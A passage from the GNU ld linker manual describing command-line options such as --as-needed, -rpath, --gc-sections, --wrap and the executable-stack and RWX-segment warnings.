The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targeted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
